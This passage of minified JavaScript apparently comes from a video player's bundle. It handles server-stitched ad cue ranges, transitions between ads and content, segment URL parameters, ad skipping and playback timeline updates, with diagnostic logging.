g.q.oU=function(){for(var x=g.S(Object.values(this.j)),T=x.next();!T.done;T=x.next())f8(T.value);g.W.prototype.oU.call(this)};g.P(JN,g.W);g.q=JN.prototype;g.q.enqueue=function(x,T){if(x.K!==this)return!1;if(this.segments.length===0||(T===void 0?0:T))this.C=x;this.segments.push(x);return!0};
g.q.Mz=function(){return this.GI||0};
g.q.c_=function(){return this.K||0};
g.q.removeAll=function(){for(;this.segments.length;){var x=void 0;(x=this.segments.pop())==null||x.dispose()}this.Z.clear();this.j=void 0};
g.q.oU=function(){this.removeAll();g.W.prototype.oU.call(this)};
g.P(BuJ,g.W);g.q=BuJ.prototype;g.q.Mz=function(){return this.GI};
g.q.c_=function(){return this.j};
g.q.getType=function(){return this.type};
g.q.getVideoData=function(){return this.videoData};
g.q.IK=function(x){Y7(x);this.videoData=x};
g.q.oU=function(){WGf(this);g.W.prototype.oU.call(this)};g.OQ.prototype.Fz=function(x,T){if(T===1)return this.C.get(x);if(T===2)return this.j.get(x);if(T===3)return this.Z.get(x)};
g.OQ.prototype.gf=oV(49);g.OQ.prototype.OR=function(x,T,t,u){t={J9:u,fJ:t};T?this.j.set(x,t):this.C.set(x,t)};
g.OQ.prototype.clearAll=function(){this.C.clear();this.j.clear();this.Z.clear()};
g.P(g.f_,g.W);g.q=g.f_.prototype;g.q.WH=function(x,T,t){return new g.te(x,T,{id:t,namespace:"serverstitchedcuerange",priority:9})};
g.q.ND=function(x){var T=x.n7?x.n7*1E3:x.GI,t=this.Z.get(x.cpn);t&&this.playback.removeCueRange(t);this.Z.delete(x.cpn);this.j.delete(x.cpn);t=this.T.indexOf(x);t>=0&&this.T.splice(t,1);t=[];for(var u=g.S(this.D),H=u.next();!H.done;H=u.next())H=H.value,H.end<=T?this.playback.removeCueRange(H):t.push(H);this.D=t;sqm(this,0,T+x.durationMs)};
g.q.onCueRangeEnter=function(x){this.nf.push(x);var T=x.getId();this.Kz({oncueEnter:1,cpn:T,start:x.start,end:x.end,ct:(this.playback.getCurrentTime()||0).toFixed(3),cmt:(this.playback.G3()||0).toFixed(3)});var t=T==="";this.mu.add(x.Z);var u=this.j.get(T);if(t){var H;if(this.playback.getVideoData().Ty()&&((H=this.C)==null?0:H.U8)&&this.K){this.R4=0;this.C=void 0;this.SY&&(this.events.f2(this.SY),this.SY=null);this.K="";this.G9=!0;return}}else if(this.Kz({enterAdCueRange:1}),this.playback.getVideoData().Ty()&&
(u==null?0:u.UB))return;if(this.G9&&!this.C)this.G9=!1,!t&&u&&(t=this.playback.getCurrentTime(),ob(this,{QI:x,isAd:!0,Yv:!0,GV:t,adCpn:T},{isAd:!1,Yv:!1,GV:t}),this.Oe=u.cpn,xR(this,u),x=Xb(this,"midab",u),this.Kz(x),this.R4=1),this.ZZ=!1;else if(this.C){if(this.C.Yv)this.Kz({a_pair_of_same_transition_occurs_enter:1,acpn:this.C.adCpn,transitionTime:this.C.GV,cpn:T,currentTime:this.playback.getCurrentTime()}),u=this.playback.getCurrentTime(),x={QI:x,isAd:!t,Yv:!0,GV:u,adCpn:T},T={QI:this.C.QI,isAd:this.C.isAd,
Yv:!1,GV:u,adCpn:this.C.adCpn},this.C.QI&&this.mu.delete(this.C.QI.Z),ob(this,x,T);else{if(this.C.QI===x){this.Kz({same_cue_range_pair_enter:1,acpn:this.C.adCpn,transitionTime:this.C.GV,cpn:T,currentTime:this.playback.getCurrentTime(),cueRangeStartTime:x.start,cueRangeEndTime:x.end});this.C=void 0;return}if(this.C.adCpn===T){T&&this.Kz({dchtsc:T});this.C=void 0;return}x={QI:x,isAd:!t,Yv:!0,GV:this.playback.getCurrentTime(),adCpn:T};ob(this,x,this.C)}this.C=void 0;this.ZZ=!1}else this.C={QI:x,isAd:!t,
Yv:!0,GV:this.playback.getCurrentTime(),adCpn:T}};
g.q.onCueRangeExit=function(x){var T=x.getId();this.Kz({oncueExit:1,cpn:T,start:x.start,end:x.end,ct:(this.playback.getCurrentTime()||0).toFixed(3),cmt:(this.playback.G3()||0).toFixed(3)});var t=T==="",u=this.j.get(T);if(this.playback.getVideoData().Ty()&&!t&&u){if(u.UB)return;u.UB=!0;this.J.clear();if(this.Cf.B("html5_lifa_no_rewatch_ad_sbc"))if(this.playback.Vj()){var H=u.GI;this.playback.mM(H/1E3,(H+u.durationMs)/1E3)}else this.playback.kc("lifa",{remove:0})}if(this.mu.has(x.Z))if(this.mu.delete(x.Z),
this.nf=this.nf.filter(function(I){return I!==x}),this.G9&&(this.ZZ=this.G9=!1,this.Kz({cref:1})),this.C){if(this.C.Yv){if(this.C.QI===x){this.Kz({same_cue_range_pair_exit:1,
acpn:this.C.adCpn,transitionTime:this.C.GV,cpn:T,currentTime:this.playback.getCurrentTime(),cueRangeStartTime:x.start,cueRangeEndTime:x.end});this.C=void 0;return}if(this.C.adCpn===T){T&&this.Kz({dchtsc:T});this.C=void 0;return}T={QI:x,isAd:!t,Yv:!1,GV:this.playback.getCurrentTime(),adCpn:T};ob(this,this.C,T)}else if(this.Kz({a_pair_of_same_transition_occurs_exit:1,pendingCpn:this.C.adCpn,transitionTime:this.C.GV,upcomingCpn:T,contentCpn:this.playback.getVideoData().clientPlaybackNonce,currentTime:this.playback.getCurrentTime()}),
this.C.adCpn===T)return;this.C=void 0;this.ZZ=!1}else this.C={QI:x,isAd:!t,Yv:!1,GV:this.playback.getCurrentTime(),adCpn:T};else this.Kz({ignore_single_exit:1})};
g.q.Db=function(){return{cpn:this.playback.getVideoData().clientPlaybackNonce,durationMs:0,GI:0,playerType:1,Pt:0,videoData:this.playback.getVideoData(),errorCount:0}};
g.q.h$=function(){if(this.DN)return!1;var x=void 0;this.Oe&&(x=this.j.get(this.Oe));return this.playback.getVideoData().Ty()?!!x&&!x.UB:!!x};
g.q.seekTo=function(x,T,t,u){x=x===void 0?0:x;T=T===void 0?{}:T;t=t===void 0?!1:t;u=u===void 0?null:u;if(this.playback.getVideoData().Ty()&&x<=this.Hv/1E3)this.playback.pauseVideo(),this.Hv=0,this.ZZ=!0,this.playback.jw(),this.playback.seekTo(x),this.playback.playVideo();else if(this.ZZ=!0,t)yLC(this,x,T);else{t=this.app.VU();var H=t===this.AQ?this.ra:null;sJ(this,!1);this.Ym=x;this.tM=T;u!=null&&this.hM.start(u);t&&(this.ra=H||t.getPlayerState(),t.nI(),this.AQ=t)}};
g.q.oU=function(){sJ(this,!1);wGC(this);KG4(this);g.W.prototype.oU.call(this)};
g.q.Mc=function(x){this.L2=x;this.Kz({swebm:x})};
g.q.DG=function(x,T,t){if(t&&T){var u=this.J.get(x);if(u){u.locations||(u.locations=new Map);var H=Number(T.split(";")[0]);t=new g.ct(t);this.Kz({hdlredir:1,itag:T,seg:x,hostport:UK(t)});u.locations.set(H,t)}}};
g.q.yR=function(x,T,t,u,H,I){var E=u===3,Z=xZJ(this,x,T,u,t,I);if(!Z){$R(this,T,E);var e=g.XGm(this,T)?"undec":"ncp";this.Kz({gvprp:e,mt:x,seg:T,tt:u,itag:t,ce:I});return null}E||this.J.set(T,Z);I=Z.QS;var l;u=((l=this.Fz(T-1,u,H))==null?void 0:l.J9)||"";u===""&&this.Kz({eds:1});l=oSD(this,Z.ssdaiAdsConfig);H=this.playback.getVideoData();var m;E=((m=H.Z)==null?void 0:m.containerType)||0;m=H.zw[E];Z=Z.T5&&T>=Z.T5?Z.T5:void 0;m={Va:I?HDD(this,I):[],X9:l,J9:u,sH:Z,Fy:xO(m.split(";")[0]),NH:m.split(";")[1]||
""};Z={o8:m};this.Cz&&(x={gvprpro:"v",sq:T,mt:x.toFixed(3),itag:t,acpns:((e=m.Va)==null?void 0:e.join("_"))||"none",abid:I},this.Kz(x));return Z};
g.q.Tb=function(x){a:{if(!this.DN){var T=T1X(this,x);if(!(this.playback.getVideoData().Ty()&&(T==null?0:T.UB)))break a}T=void 0}var t=T;if(!t)return this.Kz({gvprp:"ncp",mt:x}),null;T=t.QS;var u=oSD(this,t.ssdaiAdsConfig);t=t.T5&&t.Be&&x>=t.Be?t.T5:void 0;var H=this.playback.getVideoData(),I,E=((I=H.Z)==null?void 0:I.containerType)||0;I=H.zw[E];I={Va:T?HDD(this,T):[],X9:u,sH:t,Fy:xO(I.split(";")[0]),NH:I.split(";")[1]||""};var Z;x={gvprpro:"v",mt:x.toFixed(3),acpns:((Z=I.Va)==null?void 0:Z.join("_"))||
"none",abid:T};this.Kz(x);return I};
g.q.D3=function(x,T,t,u,H,I){var E=Number(t.split(";")[0]),Z=u===3;x=xZJ(this,x,T,u,t,I);this.Kz({gdu:1,seg:T,itag:E,pb:""+!!x});if(!x)return $R(this,T,Z),null;x.locations||(x.locations=new Map);if(!x.locations.has(E)){var e,l;I=(e=x.videoData.getPlayerResponse())==null?void 0:(l=e.streamingData)==null?void 0:l.adaptiveFormats;if(!I)return this.Kz({gdu:"noadpfmts",seg:T,itag:E}),$R(this,T,Z),null;e=I.find(function(M){return M.itag===E});
if(!e||!e.url){var m=x.videoData.videoId;x=[];var d=g.S(I);for(u=d.next();!u.done;u=d.next())x.push(u.value.itag);this.Kz({gdu:"nofmt",seg:T,vid:m,itag:E,fullitag:t,itags:x.join(",")});$R(this,T,Z);return null}x.locations.set(E,new g.ct(e.url,!0))}I=x.locations.get(E);if(!I)return this.Kz({gdu:"nourl",seg:T,itag:E}),$R(this,T,Z),null;I=new mg(I);this.L2&&(I.get("dvc")?this.Kz({dvc:I.get("dvc")||""}):I.set("dvc","webm"));(u=(d=this.Fz(T-1,u,H))==null?void 0:d.J9)&&I.set("daistate",u);x.T5&&T>=x.T5&&
I.set("skipsq",""+x.T5);(d=this.playback.getVideoData().clientPlaybackNonce)&&I.set("cpn",d);d=[];x.QS&&(d=HDD(this,x.QS),d.length>0&&I.set("acpns",d.join(",")));Z||this.J.set(T,x);Z=null;Z=I.get("aids");u=I.sY();(u==null?void 0:u.length)>2048&&this.Kz({urltoolong:1,sq:T,itag:E,len:u.length});this.Cz&&(u&&(I=x.cpn,H=x.QS,ESJ(this,I,H),H&&!this.RW.has(H)&&(I=iD3(this,I,H),e=Iaq(this,H),this.Kz({iofa:I}),this.Kz({noawnzd:e-I}),this.Kz({acpns:d.join("."),aids:(m=Z)==null?void 0:m.replace(/,/g,".")}),
this.RW.add(H))),this.Kz({gdu:"v",seg:T,itag:t,ast:x.GI.toFixed(3),alen:x.durationMs.toFixed(3),acpn:x.cpn,avid:x.videoData.videoId}));return u};
g.q.ju=function(x,T,t){var u=us(this,x,t);return(u=u?(u.GI+u.durationMs)/1E3:0)&&T>u?(this.Os(x,t,!0),this.playback.seekTo(u),!0):!1};
g.q.Os=function(x,T,t){t=t===void 0?!1:t;var u=us(this,x,T);if(u){var H=void 0,I=u.QS;if(I){this.Kz({skipadonsq:T,sts:t,abid:I,acpn:u.cpn,avid:u.videoData.videoId});t=this.N.get(I);if(!t)return;t=g.S(t);for(I=t.next();!I.done;I=t.next())I=I.value,I.T5=T,I.Be=x,I.GI>u.GI&&(H=I)}this.K=u.cpn;tjm(this);x=this.playback.getCurrentTime();TD(this,u,H,x,x,!1,!0)}};
g.q.vG=function(){for(var x=g.S(this.T),T=x.next();!T.done;T=x.next())T=T.value,T.T5=NaN,T.Be=NaN;tjm(this);this.Kz({rsac:"resetSkipAd",sac:this.K});this.K=""};
g.q.Fz=function(x,T,t){return this.hQ.Fz(x,T,t)};
g.q.gf=oV(48);
g.q.OR=function(x,T,t,u,H,I,E,Z,e){u.length>0&&this.Kz({onssinfo:1,sq:x,start:T.toFixed(3),cpns:u.join(","),ds:H.join(","),isVideo:E?1:0});e&&this.hQ.OR(x,E,Z,e);e=$7(this.playback.getVideoData())&&this.Cf.B("html5_process_all_cuepoints");if(E||e){if(u.length&&H.length)for(this.K&&this.K===u[0]&&this.Kz({skipfail:1,sq:x,acpn:this.K}),x=T+this.qy(),E=0;E<u.length;E++){var l=u[E];e=x;x=e+H[E];if(l=this.j.get(l))e-=I[E],l.n7=l.n7!=null?Math.min(l.n7,e):e}if(u.length&&H.length)for(T=(T+this.qy())*1E3,
t=0;t<u.length;t++)if(x=u[t],E=H[t]*1E3,x===this.playback.getVideoData().clientPlaybackNonce)ugv(this,T,T+E,!1),T+=E;else{this.tQ.has(x)||(this.Kz({adCpnFromEmsg:1}),this.tQ.add(x));e=0;t<I.length&&(e=I[t]*1E3);l=this.Z.get(x);var m=!1;l?(l.start=T-e,l.end=T+E,t===u.length-1&&(l.end+=$Zv(this,x,Z)),this.playback.iY()):(l=this.WH(T-e,T+E,x),this.Z.set(x,l),this.Kz({newAdCR:1,cpn:x,startTime:l.start,endTime:l.end}),m=!0,t===u.length-1&&(l.end+=$Zv(this,x,Z)));T=l.end;ugv(this,l.start,l.end,!0);if(m)for(this.playback.addCueRange(l),
x=this.playback.i6("serverstitchedcuerange",36E5),x=g.S(x),E=x.next();!E.done;E=x.next())this.Z.delete(E.value.getId())}else t!==5&&t!==4||ugv(this,(T+this.qy())*1E3,(T+this.qy())*1E3+5E3,!1)}};
g.q.Vf=oV(46);g.q.qy=function(){return this.playback.qy()};
g.q.o4=function(x){this.playback.kc("timelineerror",{e:x})};
g.q.z$=function(x){this.Om&&this.jY&&this.QU.push(this.jY);x&&this.jY&&this.Zk.push(this.jY);this.jY=null;this.playback.z$(x)};
g.q.Df=function(x){if(this.DN||x.identifier&&this.L4.has(x.identifier))this.Kz({startnoad:x.identifier}),K_(this);else if(h2(this.QU,function(t){return t.identifier===x.identifier}))this.Kz({timedoutcp:1}),this.uG.start(0);
else if(h2(this.Zk,function(t){return t.identifier===x.identifier}))this.Kz({fetchedcp:1}),K_(this);
else if(this.uG.isActive()){var T;this.Kz({racingcp:((T=this.jY)==null?void 0:T.identifier)+"_"+x.identifier})}else this.rp=(new Date).getTime()/1E3,this.Kz({adf:1}),(T=5E3,x.event==="predictStart")&&(T-=x.C),this.Lz=Math.max(T,15E3),this.Om=!1,this.uG.start(this.Lz),this.jY=x,this.hQ.clearAll(),this.Ee=[]};
g.q.Uh=function(x,T,t,u){t=t||{reason:"disablessdai"};if(x&&T){if(!us(this,x,T))return!1;t.sq=T}if(this.DN)return!1;this.DN=!0;this.R4>0&&(this.R4=0,this.Oe="",this.api.publish("serverstitchedvideochange"));this.playback.QK(t,u);return!0};
g.q.Lm=function(){this.Kz({rstdaist:1});this.hQ.clearAll()};
g.q.vY=function(x){var T;if(x!==((T=this.jY)==null?void 0:T.identifier))this.Kz({ignorenoad:x});else{this.L4.add(x);var t;((t=this.jY)==null?void 0:t.identifier)===x&&K_(this)}};
g.q.Sp=function(){return this.R4};
g.q.nB=function(){return this.Oe};
g.q.a9=function(x){if(this.DN)return this.Kz({dai_disabled:x.event}),!1;if(this.playback.getVideoData().Ty()&&(this.Cf.B("html5_lifa_no_gab_on_predict_start")&&x.event==="predictStart"||x.event==="continue"||x.event==="stop"))return this.Kz({cuepoint_skipped:x.event}),!1;var T=g_(this.api.xm());if(T=T?T.a9(x):!1)this.S={CR:x.identifier,Yl:x.startSecs};else if(this.S&&this.S.CR===x.identifier&&x.startSecs>this.S.Yl+1){this.Kz({cueStChg:x.identifier,oldSt:this.S.Yl.toFixed(3),newSt:x.startSecs.toFixed(3),
abid:this.S.VM});if(this.S.VM){var t=x.startSecs-this.S.Yl,u=this.N.get(this.S.VM);if(u){u=g.S(u);for(var H=u.next();!H.done;H=u.next())H=H.value,H.GI>=0&&(H.GI+=t*1E3,this.Cf.B("html5_ssdai_update_timeline_on_start_time_change")&&(H.Pt+=t*1E3),this.Kz({newApEt:H.GI,newApPrt:H.Pt,acpn:H.cpn}))}}this.S.Yl=x.startSecs}return T};
g.q.TO=function(x){return this.DN?!1:!!T1X(this,x)};
g.q.w0=function(x){var T=this;this.playback.pauseVideo();var t=this.playback.getCurrentTime(),u=this.j.get(this.Oe),H=this.Z.get(this.Oe);if(u){this.K=this.Oe;this.ZZ=!1;u.UB=!0;var I=this.playback.getCurrentTime();this.C={QI:H,isAd:!0,Yv:!1,GV:I,adCpn:this.Oe,U8:u,Ruf:x};this.playback.getVideoData().Ty()&&this.playback.Af(u,this.Db(),I,this.playback.getCurrentTime(),!1,!0,x,(0,g.bo)());if(H==null?0:H.start)this.Hv=I*1E3-H.start;this.J.clear();this.playback.jw();this.Oe=this.Db().cpn;this.api.publish("serverstitchedvideochange");
this.playback.seekTo(t,{seekSource:89,wp:"lifa_skip"});this.playback.playVideo();this.SY||(this.SY=this.events.V(this.api,"progresssync",function(){T.ND(u)}));
return!0}this.Kz({skipFail:t},!0);return!1};
g.q.Kz=function(x,T){((T===void 0?0:T)||this.Cz||this.playback.getVideoData().Ty())&&this.playback.kc("sdai",x)};
var Qti=0;g.P(qGm,g.f_);g.q=qGm.prototype;g.q.ND=function(x){var T=this.Z.get(x.cpn);T&&this.playback.removeCueRange(T);this.Z.delete(x.cpn);this.j.delete(x.cpn);x=this.T.indexOf(x);x>=0&&this.T.splice(x,1)};
g.q.onCueRangeEnter=function(x){var T=x.getId();this.playback.kc("sdai",{oncueEnter:1,cpn:T,start:x.start,end:x.end,ct:(this.playback.getCurrentTime()||0).toFixed(3),cmt:(this.playback.G3()||0).toFixed(3)});T=this.j.get(T);this.playback.kc("sdai",{enterAdCueRange:1});var t=this.Oe||this.Db().cpn,u;t=(u=this.j.get(t))!=null?u:this.Db();T&&(x={QI:x,UI:t,o_:T,zQ:this.playback.getCurrentTime()},this.zF(x))};
g.q.onCueRangeExit=function(x){for(var T=this.playback.getCurrentTime()*1E3,t=x.getId(),u=g.S(this.Z.values()),H=u.next();!H.done;H=u.next())if(H=H.value,H.getId()!==t&&T>=H.start&&T<=H.end)return;if(T=this.j.get(t))x={QI:x,UI:T,o_:this.Db(),zQ:this.playback.getCurrentTime()},this.zF(x)};
g.q.zF=function(x){this.K||this.ZZ||this.QQ(this.Oe);var T=x.UI,t=x.o_;if(t.cpn===this.Oe)this.playback.kc("sdai",{igtranssame:1,enter:t.cpn,exit:T.cpn});else{var u=this.ZZ,H=!!this.K;this.K="";x=x.zQ;var I=T.playerType===2?T.GI/1E3+T.videoData.AQ:this.Db().videoData.AQ;if(T.playerType===2&&t.playerType===2)H?this.playback.kc("sdai",{igtransskip:1,enter:t.cpn,exit:T.cpn,seek:u,skip:this.K}):TD(this,T,t,I,x,u,H);else{this.Oe=t.cpn;if(T.playerType===1&&t.playerType===2){this.Hv=0;xR(this,t);var E=Xb(this,
"c2a",t);this.playback.kc("sdai",E);this.R4++}else if(T.playerType===2&&t.playerType===1){E=T.videoData.AQ;this.api.publish("serverstitchedvideochange");var Z=Xb(this,"a2c");this.playback.kc("sdai",Z);this.R4=0;this.Hv=E}this.playback.Af(T,t,I,x,u,H)}this.K="";this.ZZ=!1}};
g.q.seekTo=function(x,T,t,u){x=x===void 0?0:x;T=T===void 0?{}:T;t=t===void 0?!1:t;u=u===void 0?null:u;this.QQ(this.Oe);g.f_.prototype.seekTo.call(this,x,T,t,u)};
g.q.Os=function(x,T,t){t=t===void 0?!1:t;var u=us(this,x,T);if(u){var H=void 0,I=u.QS;if(I){this.playback.kc("sdai",{skipadonsq:T,sts:t,abid:I,acpn:u.cpn,avid:u.videoData.videoId});t=this.N.get(I);if(!t)return;t=g.S(t);for(I=t.next();!I.done;I=t.next())I=I.value,I.T5=T,I.Be=x,I.GI>u.GI&&(H=I)}this.QQ(this.Oe);this.K=u.cpn;tjm(this);x=this.playback.getCurrentTime();TD(this,u,H,x,x,!1,!0)}};
g.q.OR=function(x,T,t,u,H,I,E,Z,e){u.length>0&&this.playback.kc("sdai",{onssinfo:1,sq:x,start:T.toFixed(3),cpns:u.join(","),ds:H.join(","),isVideo:E?1:0});e&&this.hQ.OR(x,E,Z,e);t=$7(this.playback.getVideoData())&&this.Cf.B("html5_process_all_cuepoints");if(E||t){if(u.length&&H.length)for(this.K&&this.K===u[0]&&this.playback.kc("sdai",{skipfail:1,sq:x,acpn:this.K}),x=T+this.qy(),E=0;E<u.length;E++)if(Z=u[E],t=x,x=t+H[E],Z=this.j.get(Z))t-=I[E],Z.n7=Z.n7!=null?Math.min(Z.n7,t):t;if(u.length&&H.length)for(E=
(T+this.qy())*1E3,T=0;T<u.length;T++)if(t=u[T],Z=H[T]*1E3,t!==this.playback.getVideoData().clientPlaybackNonce){this.tQ.has(t)||(this.playback.kc("sdai",{adCpnFromEmsg:1}),this.tQ.add(t));e=0;T<I.length&&(e=I[T]*1E3);if(x=this.Z.get(t))x.start=E-e,x.end=E+Z,this.playback.iY();else for(x=this.WH(E-e,E+Z,t),this.Z.set(t,x),this.playback.kc("sdai",{newAdCR:1,cpn:t,startTime:x.start,endTime:x.end}),this.playback.addCueRange(x),E=this.playback.i6("serverstitchedcuerange",36E5),E=g.S(E),t=E.next();!t.done;t=
E.next())this.Z.delete(t.value.getId());E=x.end}}};
g.q.QQ=function(x){var T=x||this.Oe,t=this.j.get(T);if(t){x=t.videoData;var u,H;T=t.n7||((H=(u=this.Z.get(T))==null?void 0:u.start)!=null?H:0)/1E3;u=this.playback.getCurrentTime()-T;x.AQ=u>0?u:0}else this.Db().videoData.AQ=this.playback.getCurrentTime()};g.P(la3,g.W);g.q=la3.prototype;
g.q.PT=function(x,T){T=T===void 0?"":T;if(this.timeline.j===T)return!0;var t=this.timeline.C,u=t==null?void 0:t.getVideoData();if(!t||!u)return this.api.kc("ssap",{htsm:t?0:1}),!1;if(this.api.B("html5_ssap_clear_timeline_before_update")){var H=this.timeline,I;(I=H.C)==null||WGf(I);H.Z.clear()}H=C_(t);var E=!1;I=[];var Z=new Map;t=[];var e=[],l=0,m=0,d=0,M=[];x=g.S(x);for(var A=x.next();!A.done;A=x.next())a:{var R=void 0,Y=void 0,b=A.value,z=b.clipId;if(z){if(b.r9){d=b.r9.TX||0;A=b.r9.hZ||1;var F=
Number(((b.r9.PK||0)/(b.r9.U5||1)*1E3).toFixed(0));d=A=F+Number((d/A*1E3).toFixed(0))}else A=F=d,this.Tm.has(z)||this.cD.add(z);var V=(Y=Z.get(z))!=null?Y:0,B=this.timeline.j;Y=!1;if(B&&this.api.B("html5_ssap_clear_timeline_before_update")){if(B=this.xX.get(z))B.start=F,B.end=A,Y=!0}else{if(B){var D=z;B=F;var f=A,O=V,sH=tl(this.timeline,D);if(sH!=null&&sH.length){O<sH.length&&(sH[O].GI=B,sH[O].j=f);if(D=this.xX.get(D))D.start=B,D.end=f;B=!0}else B=!1}if(B){Z.set(z,V+1);E=!0;break a}}M.push(z);!Y&&
b.r9&&(M=this.WH(F,A,M.join(",")),this.xX.set(z,M),t.push(M),M=[]);if(((R=b.r9)==null?void 0:R.eP)===u.videoId){Y=R=void 0;b=z;z=u;b!==z.clientPlaybackNonce&&this.api.kc("ssap",{cnm:1,cid:b,cpn:z.clientPlaybackNonce});if(this.api.B("html5_ssap_clear_timeline_before_update"))z.VI=F,b=p_(this.timeline,1,F,A-F,z),I.push(b),F=QM(this.timeline,F,A,[b]),E=E||F;else if(B=[],z&&(z.VI=F,B=(Y=tl(this.timeline,b))!=null?Y:[]),!this.timeline.j&&B.length&&V===0){E=B[0];E.GI=F;E.j=A;z=(R=this.timeline.C)==null?
void 0:R.C;if((R=z==null?void 0:z.get(0))&&z)for(Y=0;Y<R.length;Y++)if(B=R[Y],B.Mz()!==B.c_()){B.GI=F;B.K=A;R.splice(Y,1);z.has(F)?z.get(F).push(B):z.set(F,[B]);break}I.push(E);Z.set(b,V+1);E=!0}else b=p_(this.timeline,1,F,A-F,z),I.push(b),F=QM(this.timeline,F,A,[b]),E=E||F;e.length&&(e=mZi(this,l||0,m,e),E=E||e);m=l=A;e=[]}else V=void 0,R=this.Vw.get(z),Y=R!=null?R:new g.NE(this.api.Y(),{cpn:z}),Y.Lo=!0,this.cD.has(z)&&this.Vw.set(z,Y),l=Math.min(F,l),m=Math.max(A,m),this.api.kc("ssap",{e:F,d:A-
F,c:z,p:R?1:0}),Y.VI=F,A=p_(this.timeline,2,F,A-F,Y,(V=b.j5)==null?void 0:V.xr),e.push(A)}else this.api.kc("ssap",{cm:1})}e.length&&(u=mZi(this,l||0,m,e),E=E||u);H&&I.length&&(g2J(this.timeline,H,I),this.api.B("html5_ssap_clear_timeline_before_update")&&(u=I[I.length-1].c_(),(H=this.timeline.C)!=null&&(H.j=u)));t.length&&this.playback.GT(t);if(E){this.timeline.j=T;u=this.playback.B_();T=[];u=g.S(u);for(t=u.next();!t.done;t=u.next()){t=t.value;if(t.j){if(this.api.B("html5_ssap_fix_ad_completion_cue_range")&&
t.start===0x7ffffffffffff)continue;H=vw(this,t.j);if(H===t.pB)continue;t.start=t.start-t.pB+H;t.end=t.end-t.pB+H;t.pB=H;T.push(t)}this.api.B("html5_ssap_fix_cue_range_updates")||this.playback.Rv(T)}this.api.B("html5_ssap_fix_cue_range_updates")&&this.playback.Rv(T);this.api.kc("ssap",{tu:Sn(this)});T=g_(this.api.xm());this.api.kc("ssap",{am:T?1:0})}else this.api.kc("ssap",{tnu:1});return!0};
g.q.addPlayerResponseForAssociation=function(x){var T=new g.NE(this.api.Y(),x.playerVars);T.playerResponseCpn?T.clientPlaybackNonce=T.playerResponseCpn:this.api.kc("ssap",{eim:this.playback.getVideoData().clientPlaybackNonce});T.Lo=!0;if(x=x.DD)T.DD=x,T.clientPlaybackNonce=x.cpn;x=T.clientPlaybackNonce;this.api.kc("ssap",{aprfa:x+"_"+T.videoId});if(x){this.Vw.set(x,T);var t=tl(this.timeline,x),u=!1;if(t==null?0:t.length){t=g.S(t);for(var H=t.next();!H.done;H=t.next())H=H.value,T.VI=H.Mz(),H.IK(T),
H.Z&&(u=!0)}else u=!T.videoId;if(!u){if(!j1f(this.playback.Em.VA(T.videoId))){var I;this.api.kc("ssap",{nlc:x,nlcc:(I=this.timeline.C)==null?void 0:C_(I)})}this.playback.Em.gK().Ig(x,T,2)}}};
g.q.uT=function(){this.H6=!0;this.api.B("html5_ssap_timeline_handle_error_and_abandon")&&this.finishSegmentByCpn(this.Oe,Gb(this),5)};
g.q.Ot=function(x){if(g.j1(x,128)){var T;x=(T=x.state.Eo)==null?void 0:T.errorCode;this.finishSegmentByCpn(this.Oe,Gb(this),7,x)}};
g.q.finishSegmentByCpn=function(x,T,t,u){if(this.Oe===T)return[];this.H6&&(t=5,this.H6=!1);this.api.kc("ssap",{fsbc:x+";"+T,fsbcr:t,fsbct:this.api.getCurrentTime().toFixed(),fsbce:u!=null?u:""});if(this.api.B("html5_ssap_timeline_handle_error_and_abandon")&&(t===5||t===7))return P53(this,x,T,t),[];this.kB=T;var H=!1;if(this.cD.has(x)&&(H=ZDv(this,t),!H))return[x];var I=tl(this.timeline,T);if(I){I.sort(function(e,l){return e.Mz()-l.Mz()});
var E=g.S(I);for(I=E.next();!I.done;I=E.next()){I=I.value;var Z=this.playback.getCurrentTime()*1E3;if(I.Mz()>=Z){this.vI.set(x,t);Ai5(this,x,T);this.t_.set(x,(0,g.bo)());if(t=this.xX.get(T))for(t=t.getId().split(","),t=g.S(t),E=t.next();!E.done;E=t.next())E=E.value,E!==T&&this.cD.has(E)&&(this.cD.delete(E),this.Tm.add(E));this.QQ();T=I.Mz()/1E3;I=void 0;t=(I=g.Z9(this.api.Y().experiments,"html5_ssap_skip_seeking_offset_ms"))!=null?I:0;this.api.B("html5_ssap_keep_media_on_finish_segment")?this.playback.seekTo(T+
t/1E3,{fN:!0}):this.playback.seekTo(T+t/1E3);this.A2?(this.api.kc("ssap",{gpfreload:this.Oe}),eEf(this)||(this.A2=!1),this.playback.jw(!1,!1,this.api.B("html5_ssap_keep_media_on_finish_segment"))):u&&this.playback.jw(!1,!1,this.api.B("html5_ssap_keep_media_on_finish_segment"));H&&this.api.playVideo(1,this.api.B("html5_ssap_keep_media_on_finish_segment"));return[x]}}}return[]};
g.q.o6=function(){var x=this.timeline.C;if(!x)return 0;var T=x.c_();x=g.S(x.C.values());for(var t=x.next();!t.done;t=x.next()){t=g.S(t.value);for(var u=t.next();!u.done;u=t.next())u=u.value,u.c_()>T&&(T=u.c_())}return T/1E3};
g.q.qU=function(){var x=this.playback.getCurrentTime()*1E3;var T=cim(this,x);if(!T){var t=tl(this.timeline,this.Oe);if(t){t=g.S(t);for(var u=t.next();!u.done;u=t.next())u=u.value,u.Mz()>x&&(T=u)}}return T&&T.getType()===1?T.Mz()/1E3:0};
g.q.getVideoData=function(x){if(x===2&&!this.h$()){if(this.Cy&&this.Vw.has(this.Cy))return this.Vw.get(this.Cy);this.api.kc("ssap",{lpanf:""+Gb(this)});return null}return bDV(this)};
g.q.h$=function(){var x=tl(this.timeline,this.Oe);return(x==null?0:x.length)?x[0].getType()===2:!1};
g.q.Lc=function(){var x=tl(this.timeline,this.Oe);return(x==null?0:x.length)?x[0].Z:!1};
g.q.seekTo=function(x,T){T=T===void 0?{}:T;var t=YGq(this,this.playback.getCurrentTime());this.playback.seekTo(x+t/1E3,T)};
g.q.WH=function(x,T,t){return new g.te(x,T,{id:t,namespace:"ssap",priority:9})};
g.q.onCueRangeEnter=function(x){if(!this.gT.has(x.getId())){this.api.kc("ssap",{oce:1,cpn:x.getId(),st:x.start,et:x.end,ct:(this.playback.getCurrentTime()||0).toFixed(3),cmt:(this.playback.G3()||0).toFixed(3)});for(var T=x.getId().split(","),t=0;t<T.length&&this.kB&&T[t]!==this.kB;){var u=T[t];this.cD.has(u)&&(this.cD.delete(u),this.Tm.add(u));t++}if(T.length>t+1)for(u=t+1;u<T.length;u++)this.R2.push(T[u]);T=T[t];this.cD.has(T)&&rii(this,T);this.Tm.has(T)||REf(this,T);T=g.S(this.xX.values());for(t=
T.next();!t.done;t=T.next())t=t.value,t.start<=x.start&&!this.gT.has(x.getId())&&this.gT.add(t.getId())}};
g.q.Sp=function(){return this.R4};
